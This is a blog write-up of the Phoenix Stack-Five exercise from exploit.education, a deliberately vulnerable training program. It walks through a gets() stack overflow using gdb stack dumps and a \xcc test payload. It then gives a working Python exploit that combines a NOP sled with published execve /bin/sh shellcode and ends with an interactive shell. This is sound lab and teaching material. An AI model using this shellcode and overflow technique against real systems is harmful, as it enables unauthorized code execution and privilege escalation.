Skip to main content
  1. Hacks/

Phoenix Stack-Five

·1659 words·8 mins· 0 · 0 · ·
0x0. Introduction>

0x0. Introduction #

For a full introduction to this series and setup description please look at the first post (Phoenix Stack-Zero and One). This level aims to introduce its participants to the concept of shell-code, thus allowing us to execute code that was not originally part of the program. For this challenge there is no clear goal as to what we want to achieve.

0x1 taking a look at the source code>

0x1 taking a look at the source code #

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

void start_level() {
  char buffer[128];
  gets(buffer);
}

int main(int argc, char **argv) {
  printf("%s\n", BANNER);
  start_level();
}

As you can see there is nothing more to this program then a buffer and a gets call, a standard bufferoverflow. This time we don’t want to manipulate existing parts of the program but much rather we would like to create a new part of the program.

What can we do with this?>
What can we do with this? #

Short answer: A lot.
Longer answer: We could use this to execute a shell (/bin/sh) and if the program has more privileges then we do, we can use that for privilege escalation. Lets say the program has root-privileges because it needs them for some arbitrary reason, a shell spawned by this program would then be a root shell and give us total control of the system.

Exploiting the program>

Exploiting the program #

To find out how much input exactly the program can take before the buffer overflows I wanted to use the alphabet again, no luck tho this time the buffer could handle that. Also, yes, i could have looked in the source code and realise that “char buffer[128];” is quite a bit larger this time and yes one could also do the math to find out exactly how much input is needed. Fuzzing is more fun tho.

Welcome to phoenix/stack-five, brought to you by https://exploit.education
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
[Inferior 1 (process 328) exited normally]

Fear not tho, there are also lowercase letters with which we can go even further. I came up with the following padding for my overflow where I “AAAA” at the end is overwriting the return pointer:

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZaaaabbbbccccddddeeeefffgggghhhhiiiijjjjkkkAAAA

Now after the buffer we start overwriting the return pointer, which leads to a segmentation fault because the address we tried to return to with our test input does not exists. That’s not really what we want tho, we want the program to return to an existing area of memory, one that we control, that’s the stack. Next thing I did was to set a breakpoint at the end of “start_level” function to observe the stack

(gdb) disassemble start_level
Dump of assembler code for function start_level:
   0x000000000040058d <+0>:	push   rbp
   0x000000000040058e <+1>:	mov    rbp,rsp
   0x0000000000400591 <+4>:	add    rsp,0xffffffffffffff80
   0x0000000000400595 <+8>:	lea    rax,[rbp-0x80]
   0x0000000000400599 <+12>:	mov    rdi,rax
   0x000000000040059c <+15>:	call   0x4003f0 <gets@plt>
   0x00000000004005a1 <+20>:	nop
   0x00000000004005a2 <+21>:	leave  
   0x00000000004005a3 <+22>:	ret    
End of assembler dump.
(gdb) break *0x4005a1
Breakpoint 1 at 0x4005a1

We also have to take a look at main to find the Address that we want to return to

Dump of assembler code for function main:
   0x00000000004005a4 <+0>:	push   rbp
   0x00000000004005a5 <+1>:	mov    rbp,rsp
   0x00000000004005a8 <+4>:	sub    rsp,0x10
   0x00000000004005ac <+8>:	mov    DWORD PTR [rbp-0x4],edi
   0x00000000004005af <+11>:	mov    QWORD PTR [rbp-0x10],rsi
   0x00000000004005b3 <+15>:	mov    edi,0x400620
   0x00000000004005b8 <+20>:	call   0x400400 <puts@plt>
   0x00000000004005bd <+25>:	mov    eax,0x0
   0x00000000004005c2 <+30>:	call   0x40058d <start_level>
   0x00000000004005c7 <+35>:	mov    eax,0x0
   0x00000000004005cc <+40>:	leave  
   0x00000000004005cd <+41>:	ret    
End of assembler dump.

As you can see “0x00000000004005c7” is the next address after “start_level” so that’s the original return address. Why do we need to know this? Because that’s the address we will look out for on the stack. So now lets run the program with some simple input….how about the alphabet?….and then we will take a look at the stack

(gdb) run
Starting program: /opt/phoenix/amd64/stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

(gdb) x/48wx $rsp
0x7fffffffe480:	0x41414141	0x42424242	0x43434343	0x44444444
0x7fffffffe490:	0x45454545	0x46464646	0x47474747	0x48484848
0x7fffffffe4a0:	0x49494949	0x4a4a4a4a	0x4b4b4b4b	0x4c4c4c4c
0x7fffffffe4b0:	0x4d4d4d4d	0x4e4e4e4e	0x4f4f4f4f	0x50505050
0x7fffffffe4c0:	0x51515151	0x52525252	0x53535353	0x54545454
0x7fffffffe4d0:	0x55555555	0x56565656	0x57575757	0x58585858
0x7fffffffe4e0:	0x59595959	0x5a5a5a5a	0xf7db0000	0x00007fff
0x7fffffffe4f0:	0xffffe578	0x00007fff	0xffffe520	0x00007fff
0x7fffffffe500:	0xffffe520	0x00007fff	0x004005c7	0x00000000
0x7fffffffe510:	0xffffe578	0x00007fff	0x00000000	0x00000002
0x7fffffffe520:	0x00000002	0x00000000	0xf7d8fd62	0x00007fff
0x7fffffffe530:	0x00000000	0x00000000	0xffffe570	0x00007fff

And can you find the return address? If not take a closer look at this line “0x7fffffffe500: 0xffffe520 0x00007fff 0x004005c7 0x00000000”. But now we still need to find the exact point to overwrite the return address. You can of course try to figure that out on your own or you just use this

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZaaaabbbbccccddddeeeefffgggghhhhiiAAAAAAAA

Now we only need to replace the “AAAAAAAA” at the end of the string with a return address of our choice. So lets jump to the beginning of the stack “0x7fffffffe480”. which we need to transform to little endian and already format it for the exploit “\x80\xe4\xff\xff\xff\x7f”

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZaaaabbbbccccddddeeeefffgggghhhhii\x80\xe4\xff\xff\xff\x7f
``


##### A simple proof of concept

I prepared a simple python script 

```py
padding = "AAAABBBBCCCCDDDD\xcc\xcc\xcc\xccFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZaaaabbbbccccddddeeeefffgggghhhhii"
ret_address = "\xa0\xe4\xff\xff\xff\x7f" 
print(padding + ret_address)

Here my return address points back to the stack, to exactly the location where i placed some “/xcc” instruction, which are used by debuggers to set a breakpoint.

user@phoenix-amd64:/tmp$ python exploit.py > payload

(gdb) run < /tmp/payload

We then hit our breakpoint and the stack looks like this

(gdb) x/48wx $rsp
0x7fffffffe490:	0x41414141	0x42424242	0x43434343	0x44444444
0x7fffffffe4a0:	0xcccccccc	0x46464646	0x47474747	0x48484848
0x7fffffffe4b0:	0x49494949	0x4a4a4a4a	0x4b4b4b4b	0x4c4c4c4c
0x7fffffffe4c0:	0x4d4d4d4d	0x4e4e4e4e	0x4f4f4f4f	0x50505050
0x7fffffffe4d0:	0x51515151	0x52525252	0x53535353	0x54545454
0x7fffffffe4e0:	0x55555555	0x56565656	0x57575757	0x58585858
0x7fffffffe4f0:	0x59595959	0x615a5a5a	0x62616161	0x63626262
0x7fffffffe500:	0x64636363	0x65646464	0x66656565	0x67676666
0x7fffffffe510:	0x68686767	0x69696868	0xffffe4a0	0x00007fff
0x7fffffffe520:	0xffffe588	0x00007fff	0x00000000	0x00000001
0x7fffffffe530:	0x00000001	0x00000000	0xf7d8fd62	0x00007fff
0x7fffffffe540:	0x00000000	0x00000000	0xffffe580	0x00007fff

You can see the return address in this line: 0x7fffffffe510: 0x68686767 0x69696868 0xffffe4a0 0x00007fff
Which will lead to us jumping here: 0x7fffffffe4a0: 0xcccccccc 0x46464646 0x47474747 0x48484848

Lets continue the execution of the program

(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x00007fffffffe4a1 in ?? ()

Awesome. The CC instruction got executed.

Getting shellcode to exploit the program>
Getting shellcode to exploit the program #

There is a lot of excellent shellcode for this out there on the Internet, so I am not going to bother with writing my own. “\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05”

We replace the CC instruction from my PoC with the shellcode and trim our payload accordingly. The adjusted version of my python script then looks like this:

padding = "AAAABBBBCCCCDDDD\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05LLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZaaaabbbbccccddddeeeefffgggghhhhiii"
ret_address = "\xa0\xe4\xff\xff\xff\x7f" 
print(padding + ret_address)

And Executing it leads to:

user@phoenix-amd64:/tmp$ python exploit.py > payload

(gdb) run < /tmp/payload 
Starting program: /opt/phoenix/amd64/stack-five < /tmp/payload
Welcome to phoenix/stack-five, brought to you by https://exploit.education

Breakpoint 1, 0x00000000004005a1 in start_level ()

(gdb) x/48wx $rsp
0x7fffffffe490:	0x41414141	0x42424242	0x43434343	0x44444444
0x7fffffffe4a0:	0xbb48c031	0x91969dd1	0xff978cd0	0x53dbf748
0x7fffffffe4b0:	0x52995f54	0xb05e5457	0x4c050f3b	0x4d4c4c4c
0x7fffffffe4c0:	0x4e4d4d4d	0x4f4e4e4e	0x504f4f4f	0x51505050
0x7fffffffe4d0:	0x52515151	0x53525252	0x54535353	0x55545454
0x7fffffffe4e0:	0x56555555	0x57565656	0x58575757	0x59585858
0x7fffffffe4f0:	0x5a595959	0x61615a5a	0x62626161	0x63636262
0x7fffffffe500:	0x64646363	0x65656464	0x66666565	0x67676766
0x7fffffffe510:	0x68686867	0x69696968	0xffffe4a0	0x00007fff
0x7fffffffe520:	0xffffe588	0x00007fff	0x00000000	0x00000001
0x7fffffffe530:	0x00000001	0x00000000	0xf7d8fd62	0x00007fff
0x7fffffffe540:	0x00000000	0x00000000	0xffffe580	0x00007fff

(gdb) c
Continuing.
process 468 is executing new program: /bin/dash

But wait, where is our shell? Well there are two more problem we have to take care of.

NOPs for stack safety>
NOPs for stack safety #

What do I mean by “stack safety”? Well, the start address of the stack can change depending on environment variables, for example the path that you are in. If you execute the program from /opt/phoenix/amd64/ the stack will start later than if you execute the program from /tmp because /opt/phoenix/amd64/ is longer and takes more space.

So since our shellcode does not need all the space available on the stack, its best to fill our Stack with a lot of NOPs (No Operation) Opcodes (x90) and then just jump somewhere in the middle of the nops. Here is how I adjusted my python script for that

nops = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKL"
ret_address = "\xb0\xe4\xff\xff\xff\x7f" 
print(nops + shellcode + padding + ret_address)

I added a bunch of \x90s at the beginning and removed letters after our shellcode so that our return address will still be in the right place. I then also changed the return address to jump to somewhere in the middle of all those NOPs. Lets look at the stack with this input in gdb:

(gdb) x/48wx $rsp
0x7fffffffe490:	0x90909090	0x90909090	0x90909090	0x90909090
0x7fffffffe4a0:	0x90909090	0x90909090	0x90909090	0x90909090
0x7fffffffe4b0:	0x90909090	0x90909090	0x90909090	0x90909090
0x7fffffffe4c0:	0x90909090	0x90909090	0x90909090	0x90909090
0x7fffffffe4d0:	0xbb48c031	0x91969dd1	0xff978cd0	0x53dbf748
0x7fffffffe4e0:	0x52995f54	0xb05e5457	0x58050f3b	0x59585858
0x7fffffffe4f0:	0x5a595959	0x61615a5a	0x62626161	0x63636262
0x7fffffffe500:	0x64646363	0x65656464	0x66666565	0x67676766
0x7fffffffe510:	0x68686867	0x69696968	0xffffe490	0x00007fff
0x7fffffffe520:	0xffffe588	0x00007fff	0x00000000	0x00000001
0x7fffffffe530:	0x00000001	0x00000000	0xf7d8fd62	0x00007fff
0x7fffffffe540:	0x00000000	0x00000000	0xffffe580	0x00007fff
A shell needs input>
A shell needs input #

When we execute the shell with our exploit it expects input, from stdin. But we used a program and redirected it’s stdout into the input of the shell and once our program was done executing /bin/dash it closed the pipe, hence the shell had no way to get any input and just exits.
There is a trick to get around that tho, when we use “cat” without any input it simply redirects its stdin to its stdout. We can chain our input and cat together and redirect their combined output into ./stack-five. As far as I know that is not possible from within gdb tho, good thing that we added some NOPs so we can execute it from anywhere.

user@phoenix-amd64:/tmp$ (python exploit.py ; cat) | /opt/phoenix/amd64/stack-five 
Welcome to phoenix/stack-five, brought to you by https://exploit.education
whoami
phoenix-amd64-stack-five

Done. Now isn’t that beautiful? We got a Program with basically no intended functionality to execute a shell for us. Sadly it is not a root shell since the program does not have root privileges but at least to me it’s quite pleasant anyway :)